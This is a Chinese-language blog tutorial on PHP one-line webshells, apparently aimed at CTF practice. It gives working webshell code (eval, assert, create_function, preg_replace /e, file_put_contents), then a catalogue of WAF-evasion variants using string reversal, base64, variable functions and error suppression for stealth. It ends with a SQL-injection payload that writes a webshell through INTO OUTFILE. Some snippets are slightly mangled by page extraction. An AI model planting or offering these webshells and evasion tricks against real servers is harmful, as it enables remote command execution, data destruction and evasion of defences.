HOME> 装扮工坊> 一句话木马入门
{$vo.文章标题}
{$vo.文章标题}

一句话木马入门

admin
4095

一句话木马入门2025-06-01Updated on 2025-06-09#game#network一句话木马一句木马短小精悍,而且功能强大,隐蔽性非常好,在入侵中始终扮演着强大的作用。黑客多在注册信息的电子邮箱或者个人主页等中运行该木马。

顾名思义是执行恶意指令的木马,通过技术手段上传到指定服务器上并可以正常访问。

举一个小栗子:

可以通过URL参数执行系统命令

http://localhost:3000/hit.php?a=whoami

比如传入whoami查看当前用户

还有ipconfig

再换成post,使用hackbar

看下面的代码,这个是php一句话木马的代码

这段PHP代码的功能是执行通过POST请求传递过来的参数,我用post提交什么,服务器执行什么,也是说把这个代码上传上去之后,我让你服务器干啥干啥,甚至我让你服务器删除所有文件都会删除

具体来说,eval(@$_POST['abc']); 原理是

eval() 是PHP的一个内置函数,用于执行字符串作为PHP代码。@ 是一个操作符,用于抑制可能的错误消息。在这里,它抑制了$_POST['a']可能引发的错误(例如,如果$_POST['a']不存在或者不是有效的代码字符串)。$_POST['a'] 是一个从HTTP POST请求中获取的变量。它应该是一个字符串,该字符串包含要执行的PHP代码。其他函数assert

create_function

$fun = @create_function('',$_POST['shell']);

@$fun();

?>

call_user_func 回调函数

call_user_func 函数的第一个参数调用其他函数,第二个参数为该调用函数传参。一些被waf拦截的的可配合这个函数绕过waf。

preg_replace

@preg_replace("/abcde/e",$_POST['shell'],"abcdefg");

?>

该函数利作用是使用正则表达式替换符合条件的字符串,但该函数可执行命令。函数的第一个参数是正则表达式,按照 PHP 的格式,表达式在/间,若在/末尾加 e,这个函数的第二个参数就会被当作代码执行。

file_put_contents

$test=;

@file_put_contents("Biu.php,$test")

?>

利用函数生成木马文件,第一个参数是文件名,第二个参数是文件内容

一句话木马绕过wafWAF (Web 应用防火墙)用于保护 Web 应用不被各类应用层攻击,如跨站脚本(XSS)、SQL注入、cookie中毒等,通常以关键字判断是否为一句话木马。

本节仅是绕过一些基础的关键字查杀 WAF,更多免杀请产考:免杀/一句话木马(PHP)

变量函数变量函数(可变函数) : 变量名后有圆括号,PHP将寻找与变量的值同名的函数,并尝试执行。即使用变量作为函数名的函数

注意: eval是一个语言构造器而不是一个函数,不能被变量函数调用。

$test="assert";

@$test($_POST['shell']);

?>

有时需要使用大小写混淆、字符串拼接、字符串逆序等变化达到绕过

$a="TR"."Es"."sA";

$b=strtolower($a);

$c=strrev($b)

@$c($_POST['shell']);

?>

可变变量eval不可用,与可变函数同理

$bb="assert";

$a= "bb";

@$$a($_POST['shell']);

?>

$$a = ${$a} = ${'bb'} = $bb = "assert"

str_replace 函数

$a=str_replace("Hell","","assHellert");

@$a($_POST['shell']);

?>

在第三个参数中查找第一个参数,并将其替换为第二个参数,这里第二个参数为空字符串,相应删除 Hell

base64_decode 函数

$a=base64_decode("YXNzZXJ0");

@$a($_POST['shell']);

?>

YXNzZXJ0 是 assert 的base64编码

parse_str 函数parse_str("a=assert");

@$a($_POST['a']);

生成变量 a 并赋值 assert

自定义函数

function fun($a){@eval($a)};

@fun($_POST['shell']);

?>

使用自定义函数调用eval

通常都是使用多个组合才能达到绕过 WAF 的目的。

在函数前加 @ 符,可让php语句不显示错误信息,加强隐蔽性。

一道简单ctf,是ctfshow里面的:

可以用payload做,访问txt。当然也可以构造一句话1'union select "" into outfile 'C:/phpStudy/WWW/shell.php'--+来写入一句话木马